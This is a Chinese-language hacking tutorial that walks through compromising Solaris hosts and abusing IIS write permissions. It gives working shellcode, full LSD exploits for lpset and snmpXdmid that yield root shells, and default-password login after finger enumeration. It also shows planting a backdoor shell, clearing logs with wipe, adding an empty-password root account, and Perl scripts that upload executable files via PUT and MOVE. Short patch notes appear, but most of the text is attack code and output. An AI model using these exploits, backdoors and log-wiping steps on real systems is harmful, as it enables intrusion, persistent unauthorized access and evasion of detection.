shellcode：溢出攻击要调用 API 函数，溢出后要有一个交换式界面进行操作。所以就有了 shell 的 code。

char shellcode[] = "\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80" "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8" "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89" "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0" "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd" "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9" "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75" "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08" "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";

这就是一个 shellcode。

找一个 Unix 主机也是一种技巧。

1、首先，我们打开 superscan。

设置：

IP：（需要扫描的 IP 地址。）

Start：127.0.0.1

Stop：127.0.0.255

Scan Type：（扫描类型设置。）

All ports from：23|23

然后，点击“Start”，开始扫描。

2、点击“Prune”，把多余的主机删除。

3、点击“Expand All”，把所有扫描到的主机打开。这时，在端口下面就会显示一些信息。这些信息就是端口的响应。

小技巧：

.....#..'..$：这种响应，通常是 Sunos 主机的。

....#..'：这种响应，通常是 liunx 的。

假设，我们扫描到：127.0.0.17。

打开，Windows 自带的“命令提示符”。

ping 主机：

主要目的是查看主机是否能连接。

D:\>ping 127.0.0.17

Pinging 127.0.0.17 with 32 bytes of data:

Reply from 127.0.0.17: bytes=32 time=191ms TTL=241

Reply from 127.0.0.17: bytes=32 time=170ms TTL=241

Reply from 127.0.0.17: bytes=32 time=160ms TTL=241

Reply from 127.0.0.17: bytes=32 time=170ms TTL=241

Ping statistics for 127.0.0.17:

Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),

Approximate round trip times in milli-seconds:

Minimum = 160ms, Maximum = 191ms, Average = 172ms

小技巧：

通常 TTL > 200 的，都是 liunx 或者 unix 系统。

TTL < 200 的，都是 Windows 9x 或 Windows NT 系统。

telnet 主机：

主要看看 telnet 的 banner。

D:\>telnet 127.0.0.17

SunOS 5.7

login:

solaris 7 的。

接着，我用 Superscan 扫描主机的端口。

方法：

打开 superscan。

设置：

IP：

Start：127.0.0.17

Stop：127.0.0.17

Scan Type：（扫描类型设置。）

All ports from：1|65535

然后，点击“Start”，开始扫描。

扫描完毕后，点击“Expand All”，把所有扫描到的端口打开。

* + 211.99.25.1

|___ 7 Echo

|___ 9 Discard

|___ 13 Daytime

|___ 19 Character Generator

|___ 21 File Transfer Protocol [Control]

|___ 23 Telnet

|___ 25 Simple Mail Transfer

|___ 37 Time

|___ 53 Domain Name Server

|___ 79 Finger

|___ 111 SUN Remote Procedure Call

|___ 512 remote process execution;

|___ 513 remote login a la telnet;

|___ 514 cmd

|___ 515 spooler

|___ 540 uucpd

主要的端口有：21、25、53、79、111、513

其他还有：22、80 等

端口的主要漏洞：

21：FTP 的端口。主要漏洞是 ftpd。如果允许 anonymous（匿名）用户，而且具有读写权限，那么那台机子就是你的啦。假如你具有读写权限的用户密码，那就更加容易了。

22：ssh 的端口。例如：SSH 3.0 的远程登录漏洞等。

25：sendmail 的端口。利用它的漏洞，我们可以 D.O.S 主机。freebsd 的 8.8.3 版本还可以远程溢出 rootshell。

53：DNS 的端口。主要漏洞是 bind。对于 bind 8.2 的 DNS 服务器，我们可以利用 exploit 溢出一个 rootshell。

79：finger 的端口。在 unix 和 liunx 都很有作用。对于 Sunos，我们可以 finger 0@***.***.***.*** 刺探用户。对于，liunx 可以 finger @***.***.***.*** 刺探当前在线的用户。

80：web 的端口。这个端口就是我们平时浏览网站的默认端口。主要的漏洞有 CGI 漏洞。

111：rpc 的端口。rpc 漏洞是当今最流行的漏洞之一。每一个漏洞都可以远程溢出 rootshell。例如：redhat 的 rpc.statd，Solaris 的 rpc.ttdbserverd 等。

513：rlogin 的端口。你可以向主机发送一条：echo '+ +' >/.rhost 如果成功，就可以不用密码 rlogin 到主机。

finger 主机。

目的是利用 finger 漏洞寻找主机的用户。（取得主机的用户对入侵主机有很大帮助。）

D:\>finger 0@127.0.0.17

[127.0.0.17]

Login NameTTYIdle When Where

daemon ??? < . . . . >

bin ??? < . . . . >

sys ??? < . . . . >

chenhy ???pts/7 <Aug 2 15:47> 61.158.255.225

mdevice???897 <Aug 4 17:25> 61.140.253.142

liuy???pts/5 <Aug 2 18:17> 211.101.132.50

oracle ???console 6:57 Mon 14:29 :0

oracle ???pts/24d Mon 14:29 :0.0

oracle ???pts/522 Sat 16:34 61.140.253.142

D:\>

存在 finger 漏洞。系统的用户显示出来了。（chenhy、mdevice、liuy、orcle）

oracle，通常 oracle 的密码就是 oracle。

马上试一下！

D:\>telnet 127.0.0.17

SunOS 5.7

login: oracle

Password:

Last login: Sat Aug 4 17:25:49 from 61.140.253.142

Sun Microsystems Inc.SunOS 5.7 Generic October 1998

$

成功了！

假如在这一步并没有猜到用户的密码，我们可以利用其他工具继续猜测。

命令：uname -a

查看主机的信息。

$uname -a

SunOS mars 5.7 Generic_106541-08 sun4u sparc SUNW,Ultra-5_10

SunOS mars 5.7：SunOS 的版本。

sparc：服务器版本。

Generic_106541-08：补丁情况。

找到 exploit：lpset.c

$cat >lpst.c

/*## copyright LAST STAGE OF DELIRIUM apr 2000 poland *://lsd-pl.net/ #*/

```
/*## /usr/bin/lpset #*/

#define NOPNUM 864

#define ADRNUM 132

#define ALLIGN 3

char shellcode[]=

"\x20\xbf\xff\xff" /* bn,a <shellcode-4> */

"\x20\xbf\xff\xff" /* bn,a <shellcode> */

"\x7f\xff\xff\xff" /* call <shellcode+4> */

"\x90\x03\xe0\x20" /* add %o7,32,%o0 */

"\x92\x02\x20\x10" /* add %o0,16,%o1 */

"\xc0\x22\x20\x08" /* st%g0,[%o0+8] */

"\xd0\x22\x20\x10" /* st%o0,[%o0+16]*/

"\xc0\x22\x20\x14" /* st%g0,[%o0+20]*/

"\x82\x10\x20\x0b" /* mov 0xb,%g1 */

"\x91\xd0\x20\x08" /* ta8 */

"/bin/ksh"

;

char jump[]=

"\x81\xc3\xe0\x08" /* jmp %o7+8 */

"\x90\x10\x00\x0e" /* mov %sp,%o0 */

;

static char nop[]="\x80\x1c\x40\x11";

main(int argc,char **argv){

char buffer[10000],adr[4],*b;

int i;

printf("copyright LAST STAGE OF DELIRIUM apr 2000 poland //lsd-pl.net/\n");
```

```
printf("/usr/bin/lpset for solaris 2.6 2.7 sparc\n\n");

*((unsigned long*)adr)=(*(unsigned long(*)())jump)()+10088+400;

b=buffer;

sprintf(b,"***=");

b+=4;

for(i=0;i<2;i++) *b++=0xff;

for(i=0;i<NOPNUM-4;i++) *b++=nop[i%4];

for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];

for(i=0;i<ALLIGN;i++) *b++=0xff;

for(i=0;i<ADRNUM;i++) *b++=adr[i%4];

*b=0;

execle("/usr/bin/lpset","lsd","-n","xfn","-a",buffer,"printer",0,0);

}

/* www.hack.co.za [4 August 2000]*/
```

^D （“^D” = Ctrl+D，目的是结束。）

```
$cd /tmp
```

lpset.c 放在/tmp 目录了。

```
$ls

lpset.c
```

建立了。

```
$gcc -o lpset lpset.c

$
```

编译程序。

小技巧：Solaris 默认是没有 gcc 的。我们可以用命令“whereis -b gcc”查找。因为管理员通常会在“/usr/local/bin”留下一个 gcc 的。

命令：chmod 777 lpset

设置程序“lpset”的属性为所有组所有用户都能访问。

$chmod 777 lpset

命令：./lpset

执行程序。

$./lpset

copyright LAST STAGE OF DELIRIUM apr 2000 poland //lsd-pl.net/

/usr/bin/lpset for solaris 2.6 2.7 sparc

sh: syntax error at line 1: `(' unexpected

#

命令：id

查看自己的所属的组别。

#id

uid=1035(delex) gid=20(staff) euid=0(root)

“euid=0(root)”取得 root 权限了。

做个后门：

mkdir /usr/man/man5/shell

在 man 文件夹里新建一个文件夹，没那么容易给别人发现。（每台主机的情况都不同。）

cp /bin/ksh /usr/man/man5/shell

chmod 777 /usr/man/man5/shell

一个简单的后门就做好了。

以后，我们可以用 oracle 登陆，然后“./usr/man/man5/shell”取得 root 权限。

用 wipe-1.00 清除日志。

先把 wipe-1.00.tgz 上传到主机。

通常 ftp 的密码与 telnet 的密码一样。

gzip -d wipe-1.00.tgz

tar -xf wipe-1.00.tar

cd wipe-1.00

make

Wipe v0.01 !

Usage: 'make ' where System types are:

linux freebsd sunos4 solaris2 ultrix

aix irix digital bsdi netbsd hpux

#

其中：

linux freebsd sunos4 solaris2 ultrix

aix irix digital bsdi netbsd hpux

为“选择系统”。

我们这里用“solaris2”。

#make solaris2

gcc -O3 -DHAVE_LASTLOG_H -DHAVE_UTMPX -o wipe wipe.c

成功了。

#./wipe

USAGE: wipe [u|w|l|a] ...options...

UTMP editing:

Erase all usernames:wipe u [username]

Erase one username on tty:wipe u [username] [tty]

WTMP editing:

Erase last entry for user :wipe w [username]

Erase last entry on tty:wipe w [username] [tty]

LASTLOG editing:

Blank lastlog for user :wipe l [username]

Alter lastlog entry :wipe l [username] [tty] [time] [host]

Where [time] is in the format [YYMMddhhmm]

ACCT editing:

Erase acct entries on tty :wipe a [username] [tty]

说明：

u 选项为 utmp utmpx 日志清除。

w 选项为 wtmp wtmpx 日志清除。

l 选项为 lastlog 日志清除。

a 选项为 pacct 日志清除。

方法：./wipe u oracle;./wipe w oracle;./wipe l oracle

#./wipe u oracle;./wipe w oracle;./wipe l oracle

Patching /var/adm/utmp .... Done.

Patching /var/adm/utmpx .... Done.

Patching /var/adm/wtmp .... Done.

Patching /var/adm/wtmpx .... Done.

Patching /var/adm/lastlog .... Done.

其中 oracle 为刚才登陆的用户名。

小技巧：我们可以用 ./wipe u oracle 隐藏自己。

运行：./wipe u oracle 前

w

下午 20:15 1 user, 平均负荷: 0.00, 0.00, 0.01

用户名 终端号 登入时间 闲置 JCPU PCPU 执行命令

oracle pts/1 下午 20:00 3 w

运行：./wipe u oracle 后

w

下午 20:15 1 user, 平均负荷: 0.00, 0.00, 0.01

用户名 终端号 登入时间 闲置 JCPU PCPU 执行命令

最后，我们可以放个 worm 寻找更多机子。

当然，我们的目的不是为了入侵。帮主机打上补丁是最好的主意。

解决方法：chmod -s /usr/bin/lpset

『第 26 天』Sunos（二）

接着昨天的，今天，我们来看看 Sunos 的远程溢出。

本次范例需要的系统及程序情况如下：

操作系统：Window2000 To Sunos 5.8

对方操作系统：Sunos 5.8

程序（一）：snmpxdmid.c

本机 IP：127.0.0.1

测试 IP：127.0.0.29

新程序说明：“snmpxdmid.c”是利用 Rpc 的 snmpxdmid 服务写的 exploit。

Solaris snmpXdmid 远程缓冲区溢出漏洞：

Solaris 2.6/7/8 三个版本都携带了一个名为 snmpXdmid 的 RPC 服务，这个服务主要用

于在 SNMP 管理请求和 DMI 请求之间建立一种映射/转换关系。

在 UXIX 中，Desktop Management Interface (DMI) 和 SNMP 是两个协调工作的远程管理协议。Sun Microsystems 创建了 SNMPxDMID（/usr/lib/dmi/snmpXdmid）映射守护进程来连接这两个协议。此守护进程传输 SNMP 请求给 DMI，但是发现它在处理‘INDICATION’时存在缓冲区溢出问题。本地和远程攻击者利用此漏洞能获得超级用户特权。

测试开始：

telnet ***.***.***.***

* telnet 上我的肉鸡。

SunOS 5.8

login: cnhack

Password:

Last login: Sun Jul 29 19:37:19 from 127.0.0.1

Sun Microsystems Inc. SunOS 5.8 Generic February 2000

$

$./usr/man/man5/shell

#

* 取得 root 权限。

cat > snmpxdmid.c

* 把 exploit 贴到主机上。

```
/*## copyright LAST STAGE OF DELIRIUM mar 2001 poland *://lsd-pl.net/ #*/

/*## snmpXdmid #*/

/* as the final jump to the assembly code is made to the heap area, this code */

/* also works against machines with non-exec stack protection turned on */

/* due to large data transfers of about 128KB, the code may need some time to */

/* proceed, so be patient */

#include <sys/types.h>

#include <sys/socket.h>

#include <sys/time.h>

#include <netinet/in.h>

#include <rpc/rpc.h>

#include <netdb.h>

#include <unistd.h>

#include <stdio.h>

#include <errno.h>

#define SNMPXDMID_PROG 100249

#define SNMPXDMID_VERS 0x1

#define SNMPXDMID_ADDCOMPONENT 0x101

char findsckcode[]=

"\x20\xbf\xff\xff" /* bn,a <findsckcode-4> */

"\x20\xbf\xff\xff" /* bn,a <findsckcode> */
```

"\x7f\xff\xff\xff" /* call <findsckcode+4> */

"\x33\x02\x12\x34"

"\xa0\x10\x20\xff" /* mov 0xff,%l0 */

"\xa2\x10\x20\x54" /* mov 0x54,%l1 */

"\xa4\x03\xff\xd0" /* add %o7,-48,%l2 */

"\xaa\x03\xe0\x28" /* add %o7,40,%l5 */

"\x81\xc5\x60\x08" /* jmp %l5+8 */

"\xc0\x2b\xe0\x04" /* stb %g0,[%o7+4] */

"\xe6\x03\xff\xd0" /* ld [%o7-48],%l3 */

"\xe8\x03\xe0\x04" /* ld [%o7+4],%l4 */

"\xa8\xa4\xc0\x14" /* subcc %l3,%l4,%l4 */

"\x02\xbf\xff\xfb" /* bz <findsckcode+32> */

"\xaa\x03\xe0\x5c" /* add %o7,92,%l5 */

"\xe2\x23\xff\xc4" /* st %l1,[%o7-60] */

"\xe2\x23\xff\xc8" /* st %l1,[%o7-56] */

"\xe4\x23\xff\xcc" /* st %l2,[%o7-52] */

"\x90\x04\x20\x01" /* add %l0,1,%o0 */

"\xa7\x2c\x60\x08" /* sll %l1,8,%l3 */

"\x92\x14\xe0\x91" /* or %l3,0x91,%o1 */

"\x94\x03\xff\xc4" /* add %o7,-60,%o2 */

"\x82\x10\x20\x36" /* mov 0x36,%g1 */

"\x91\xd0\x20\x08" /* ta 8 */

"\x1a\xbf\xff\xf1" /* bcc <findsckcode+36> */

"\xa0\xa4\x20\x01" /* deccc %l0 */

"\x12\xbf\xff\xf5" /* bne <findsckcode+60> */

"\xa6\x10\x20\x03" /* mov 0x03,%l3 */

```
"\x90\x04\x20\x02" /* add %l0,2,%o0 */
"\x92\x10\x20\x09" /* mov 0x09,%o1 */
"\x94\x04\xff\xff" /* add %l3,-1,%o2 */
"\x82\x10\x20\x3e" /* mov 0x3e,%g1 */
"\xa6\x84\xff\xff" /* addcc %l3,-1,%l3 */
"\x12\xbf\xff\xfb" /* bne <findsckcode+112> */
"\x91\xd0\x20\x08" /* ta 8 */
;
char shellcode[]=
"\x20\xbf\xff\xff" /* bn,a <shellcode-4> */
"\x20\xbf\xff\xff" /* bn,a <shellcode> */
"\x7f\xff\xff\xff" /* call <shellcode+4> */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0x0b,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh"
;
static char nop[]="\x80\x1c\x40\x11";
typedef struct{
struct{unsigned int len;char *val;}name;
struct{unsigned int len;char *val;}pragma;
}req_t;
```

```
bool_t xdr_req(XDR *xdrs,req_t *objp){
char *v=NULL;unsigned long l=0;int b=1;
if(!xdr_u_long(xdrs,&l)) return(FALSE);
if(!xdr_pointer(xdrs,&v,0,(xdrproc_t)NULL)) return(FALSE);
if(!xdr_bool(xdrs,&b)) return(FALSE);
if(!xdr_u_long(xdrs,&l)) return(FALSE);
if(!xdr_bool(xdrs,&b)) return(FALSE);
if(!xdr_array(xdrs,&objp->name.val,&objp->name.len,~0,sizeof(char),
(xdrproc_t)xdr_char)) return(FALSE);
if(!xdr_bool(xdrs,&b)) return(FALSE);
if(!xdr_array(xdrs,&objp->pragma.val,&objp->pragma.len,~0,sizeof(char),
(xdrproc_t)xdr_char)) return(FALSE);
if(!xdr_pointer(xdrs,&v,0,(xdrproc_t)NULL)) return(FALSE);
if(!xdr_u_long(xdrs,&l)) return(FALSE);
return(TRUE);
}
main(int argc,char **argv){
char buffer[140000],address[4],pch[4],*b;
int i,c,n,vers=-1,port=0,sck;
CLIENT *cl;enum clnt_stat stat;
struct hostent *hp;
struct sockaddr_in adr;
struct timeval tm={10,0};
req_t req;
printf("copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/\n");
printf("snmpXdmid for solaris 2.7 2.8 sparc\n\n");
```

```
if(argc<2){
printf("usage: %s address [-p port] -v 7|8\n",argv[0]);
exit(-1);
}
while((c=getopt(argc-1,&argv[1],"p:v:"))!=-1){case 'p': port=atoi(optarg);break;
case 'v': vers=atoi(optarg);
}
}case 7: *(unsigned int*)address=0x000b1868;break;
case 8: *(unsigned int*)address=0x000cf2c0;break;
default: exit(-1);
}
*(unsigned long*)pch=htonl(*(unsigned int*)address+32000);
*(unsigned long*)address=htonl(*(unsigned int*)address+64000+32000);
printf("adr=0x%08x timeout=%d ",ntohl(*(unsigned long*)address),tm.tv_sec);
fflush(stdout);
adr.sin_family=AF_INET;
adr.sin_port=htons(port);
if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if((hp=gethostbyname(argv[1]))==NULL){
errno=EADDRNOTAVAIL;perror("error");exit(-1);
}
memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
}
sck=RPC_ANYSOCK;
if(!(cl=clnttcp_create(&adr,SNMPXDMID_PROG,SNMPXDMID_VERS,&sck,0,0))){
clnt_pcreateerror("error");exit(-1);
```

```
}
cl->cl_auth=authunix_create("localhost",0,0,0,NULL);
i=sizeof(struct sockaddr_in);
if(getsockname(sck,(struct sockaddr*)&adr,&i)==-1){
struct{unsigned int maxlen;unsigned int len;char *buf;}nb;
ioctl(sck,(('S'<<8)|2),"sockmod");
nb.maxlen=0xffff;
nb.len=sizeof(struct sockaddr_in);;
nb.buf=(char*)&adr;
ioctl(sck,(('T'<<8)|144),&nb);
}
n=ntohs(adr.sin_port);
printf("port=%d connected! ",n);fflush(stdout);
findsckcode[12+2]=(unsigned char)((n&0xff00)>>8);
findsckcode[12+3]=(unsigned char)(n&0xff);
b=&buffer[0];
for(i=0;i<1248;i++) *b++=pch[i%4];
for(i=0;i<352;i++) *b++=address[i%4];
*b=0;
b=&buffer[10000];
for(i=0;i<64000;i++) *b++=0;
for(i=0;i<64000-188;i++) *b++=nop[i%4];
for(i=0;i<strlen(findsckcode);i++) *b++=findsckcode[i];
for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
*b=0;
req.name.len=1200+400+4;
```

```
req.name.val=&buffer[0];
req.pragma.len=128000+4;
req.pragma.val=&buffer[10000];
stat=clnt_call(cl,SNMPXDMID_ADDCOMPONENT,xdr_req,&req,xdr_void,NULL,tm);
if(stat==RPC_SUCCESS) {printf("\nerror: not vulnerable\n");exit(-1);}
printf("sent!\n");
write(sck,"/bin/uname -a\n",14);
while(1){
fd_set fds;
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sck,&fds);
if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
int cnt;
char buf[1024];
if(FD_ISSET(0,&fds)){
if((cnt=read(0,buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else break;
}
write(sck,buf,cnt);
}
if(FD_ISSET(sck,&fds)){
if((cnt=read(sck,buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else break;
```

}

write(1,buf,cnt);

}

}

}

}

^D

gcc -o snmpxdmid snmpxdmid.c -lnsl –lsocket

* 编译 exploit。

snmp.c: In function `main':

snmp.c:135: warning: assignment makes pointer from integer without a cast

snmp.c:172: warning: passing arg 4 of pointer to function from incompatible pointer type

./snmpxdmid

* 运行 exploit。

copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/

snmpXdmid for solaris 2.7 2.8 sparc

usage: ./snmpxdmid address [-p port] -v 7|8

#./snmpxdmid 127.0.0.29 –v 8

* 溢出。

* 说明：

* address：主机 IP 地址。

* [-p port]：溢出端口。

* -v 7|8：solaris 2.7 （Sunos 5.7）或者 solaris 2.8（Sunos 5.8）

copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/

snmpXdmid for solaris 2.7 2.8 sparc

adr=0x000c8f68 timeout=30 port=928 connected!

sent!

SunOS business 5.8 Generic_108528-03 sun4u sparc SUNW,Ultra-250

* 溢出成功。

id

uid=0(root) gid=0(root)

* 取得 root 权限。

echo "cnhack::1:0::/:/bin/bash" > /etc/passwd

* 添加一个用户名为 cnhack，密码为空的管理员。

telnet localhost

* telnet 主机：127.0.0.29

Trying 127.0.0.1...

Connected to localhost. Escape character is '^]'.

SunOS 5.8

login: cnhack

Password:

Last login: Sun Jul 29 19:37:19 from 127.0.0.1

Sun Microsystems Inc. SunOS 5.8 Generic February 2000

$

……

解决方法：

1) 将 /etc/rc .d/S dmi 重命为 /etc/rc .d/K07dmi （此处 代表对应运行级）；再执行命令：/etc/init.d/init.dmi stop

2) 保险起见，可改变其用户权限： chmod 000 /usr/lib/dmi/snmpXdmid

『第 27 天』深入对 iis 写权限的利用

大家可能看过《远程分析 IIS 设置》，里面对 iis 的各种设置进行了分析，我这里就对 iis 的写权限来分析下，以下引用《远程分析 IIS 设置》文章对 iis 写权限分析内容：

写权限

测试一个目录对于 web 用户是否具有写权限，采用如下方法：telnet 到服务器的 web 端口(80)并发送一个如下请求：

PUT /dir/my_file.txt HTTP/1.1

Host: iis-server

Content-Length: 10

这时服务器会返回一个 100(继续)的信息：

HTTP/1.1 100 Continue

Server: Microsoft-IIS/5.0

Date: Thu, 28 Feb 2002 15:56:00 GMT

接着，我们输入 10 个字母：

AAAAAAAAAA

送出这个请求后，看服务器的返回信息，如果是一个 201 Created 响应：

HTTP/1.1 201 Created

Server: Microsoft-IIS/5.0

Date: Thu, 28 Feb 2002 15:56:08 GMT

Location: http://iis-server/dir/my_file.txt

Content-Length: 0

Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND,

PROPPATCH, SEARCH, LOCK, UNLOCK

那么就说明这个目录的写权限是开着的，反之，如果返回的是一个 403 错误，那么写权限就是没有开起来，如果需要你认证，并且返回一个 401(权限禁止) 的响应的话，说明是开了写权限，但是匿名用户不允许。如果一个目录同时开了”写”和“脚本和可执行程序”的话，那么 web 用户就可以上传一个程序并且执行它，恐怖哦%^#$!~

这里简单说明下：

PUT /dir/my_file.txt HTTP/1.1

Host: iis-server

Content-Length: 10

PUT：请求服务器将附件的实体储存在提供的请求 URL 处，如果该请求 URL 指向的资源已经存在，则附件实体应被看做是当前原始服务器上资源的修改版本。如果请求 URL 没有指向现存的资源，

该 URL 将被该请求的用户代理定义成为一个新的资源，原始服务器将用该 URL 产生这个资源。

Host：是 HTTP 请求的发送地址

Content-Length：是内容长度，也就是实体长度，该长度值和上传的文件大小一致

用 nc（telnet）提交很烦琐，我们这里写个简单的 perl 程序，来完成这个复杂的提交过程，在写代码时我们用 binmode()方式打开文件，代码如下：

```
#!/usr/bin/perl

use I:Socket;

$ARGC = @ARGV;

if ($ARGC != 4)

{

    print "usage:$0 127.0.0.1 80 kaka.exe /Scripts/file.exe\n";

    exit;

}

$host = @ARGV[0];

$port = @ARGV[1];

$file = @ARGV[2];

$path = @ARGV[3];

@s=stat("$file");

$size = $s[7]; #得到文件大小

print "$file size is $size bytes\n";

my $sock = I:Socket::INET->new(Proto =>"tcp",

PeerAddr =>$host,

PeerPort =>$port) || die "Sorry! Could not connect to $host \n";

print $sock "PUT $path HTTP/1.1\n";

print $sock "Host: $host\n";

print $sock "Content-Length: $size\n\n"; #sock 连接

open(FILE,"$file");
```

```
binmode(FILE); #用 2 进制打开文件
while (read(FILE,$char,1024)) { #读取文件数据上传
        print $sock "$char";
}
print $sock "\n\n";
@req = <$sock>;
print "please wait...\n";
sleep(2);
if ($req[4]=~/200|201/){
        print "upfile Succeed!!!" ; #成功显示
}
else{
        print "upfile faile!!!\n\n";
        print @req;#如果失败显示返回错误
}
close $sock;
close FILE;
```

下面我们测试下：

```
C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.txt /Scripts/kaka.txt
kaka.txt size is 14 bytes
please wait...
upfile Succeed!!!
C:\Inetpub\Scripts>dir kaka.txt
驱动器 C 中的卷没有标签。
卷的序列号是 3CD1-479E
C:\Inetpub\Scripts 的目录
```

2004-05-05 00:37 14 kaka.txt

1 个文件 14 字节

0 个目录 3,871,080,448 可用字节

这里我们把 kaka.txt 成功上传到了 web 目录 Scripts 下，以为程序中用了 binmode()方式（2 进制）打开文件，应该可以上传其他文件，我们先测试下 exe 文件：

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 perl.exe /Scripts/perl.exe

perl.exe size is 20535 bytes

please wait...

upfile Succeed!!!

C:\Inetpub\Scripts>dir perl.exe

驱动器 C 中的卷没有标签。

卷的序列号是 3CD1-479E

C:\Inetpub\Scripts 的目录

2004-05-05 00:42 20,535 perl.exe

1 个文件 20,535 字节

0 个目录 3,871,031,296 可用字节

成功，可以上传 exe 了，是不是可以上传任意文件呢？接着来测试 asp 文件：

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.asp /Scripts/kaka.asp

kaka.asp size is 4 bytes

please wait...

upfile faile!!!

HTTP/1.1 100 Continue

Server: Microsoft-IIS/5.0

Date: Tue, 04 May 2004 16:45:51 GMT

HTTP/1.1 403 Forbidden

Server: Microsoft-IIS/5.0

Date: Tue, 04 May 2004 16:45:51 GMT

Connection: close

Content-Type: text/html

Content-Length: 44

<body><h2>HTTP/1.1 403 Forbidden</h2></body>

失败！！提示 HTTP/1.1 403 Forbidden 错误，看来直接用 post 方式写 asp 不行了，经过测试只要是 iis 支持的文件类型都会产生 HTTP/1.1 403 Forbidden 错误。

那我们怎样才可以上传 iis 支持的文件类型文件呢？iis 除了可以执行 put，post，get 等动作外，还可以执行 COPY, MOVE 等命令，呵呵！我们这可以先把本地 asp 上传到远程主机 web 目录下的 txt 等其他文件，在提过 copy，move 命令来改为 asp。

我们还是先用 nc 提交测试下：

D:\>nc 127.0.0.1 80

MOVE /scripts/kaka.txt HTTP/1.1

Host:127.0.0.1

Destination: http://127.0.0.1/scripts/kaka.asp

HTTP/1.1 201 Created

Server: Microsoft-IIS/5.0

Date: Sun, 05 Oct 2003 09:30:59 GMT

Location: http://127.0.0.1/scripts/x.asp

Content-Type: text/xml

Content-Length: 0

成功利用 MOVE 把/scripts/kaka.txt 改名/scripts/kaka.asp。这样我们就可以结合 put 和 move 来完成通过 iis 写容易文件了:)。我们还是用 perl 来完成。

测试写 asp 成功：

C:\usr\bin>perl kaka.pl 127.0.0.1 80 kaka.asp /scripts/kaka.asp

****

codz by >/SuperHei<QQ:123230273> && lanker<QQ:18779569>

****

kaka.asp size is 4 bytes

please wait...

upfile Succeed!!!

Modifyfile Succeed!!!

最终的 iiswrite.pl 代码如下（由于写本文时，在网吧对于文章中代码是先又本人打“草稿”，又 lanker 测试并最终完成，THX lanker。）：

```
#!/usr/bin/perl

#The iiswrite Script

use I:Socket;

$ARGC = @ARGV;

print "*" x 60;

print "\ncodz by >/SuperHei<QQ:123230273> && lanker<QQ:18779569>\n";

print "*" x 60,"\n";

if ($ARGC != 4)

{

    print "usage:$0 127.0.0.1 80 kaka.txt /scripts/my_file.txt\n";

    exit;

}

$host = @ARGV[0];

$port = @ARGV[1];

$path = @ARGV[3];

$file = @ARGV[2];

@path=split("/",$path);

$any = pop(@path);

$path1=join("/",@path);

@s=stat("$file");

$size = $s[7];

print "$file size is $size bytes\n";
```

```
my $sock = I:Socket::INET->new(Proto =>"tcp",
PeerAddr =>$host,
PeerPort =>$port) || die "Sorry! Could not connect to $host \n";
print $sock "PUT $path1/lanker.txt HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Content-Length: $size\n\n";
open(FILE,"$file")|| die "Can't open $file";
binmode(FILE);
while (read(FILE,$char,1024)) {
        print $sock "$char";
}
print $sock "\n\n";
@req = <$sock>;
print "please wait...\n";
sleep(2);
if ($req[4]=~/200|201/){
        print "upfile Succeed!!!\n" ;
}
else{
        print "upfile faile!!!\n";
}
close $sock;
close FILE;
my $sock = I:Socket::INET->new(Proto =>"tcp",
PeerAddr =>$host,
PeerPort =>$port) || die "Sorry! Could not connect to $host \n";
```

```
print $sock "MOVE $path1/lanker.txt HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Destination:http://$host:$port$path\n\n\n\n";
@req = <$sock>;
if ($req[0]=~/20\d+|/){
        print "Modifyfile Succeed!!!" ;
}
else{
        print "upfile faile!!!";
}
close $sock;
```

全国 IP

全国 IP，从追捕中找的

010.179.000.000__010.183.255.255__甘肃____

010.184.000.000__010.188.255.255__青海____

010.189.000.000__010.193.255.255__宁夏____

010.194.000.000__010.198.255.255__新疆____

010.000.000.000__010.001.255.255__北京____

010.003.048.000__010.003.050.255__北京邮电大学____

010.011.017.000__010.013.064.255__天津____

010.017.000.000__010.022.255.255__河北____

010.023.000.000__010.028.255.255__山西____

010.029.000.000__010.033.255.255__内蒙古____

010.034.000.000__010.041.255.255__辽宁____

010.042.000.000__010.049.255.255__吉林____

010.048.000.000__010.051.255.255__黑龙江____

010.052.000.000__010.061.255.255__湖北____

010.062.000.000__010.067.255.255__湖南____

010.074.000.000__010.081.255.255__江苏____

010.082.000.000__010.088.255.255__山东____

010.089.000.000__010.094.255.255__安徽____

010.103.000.000__010.109.255.255__浙江____

010.110.000.000__010.116.255.255__福建____

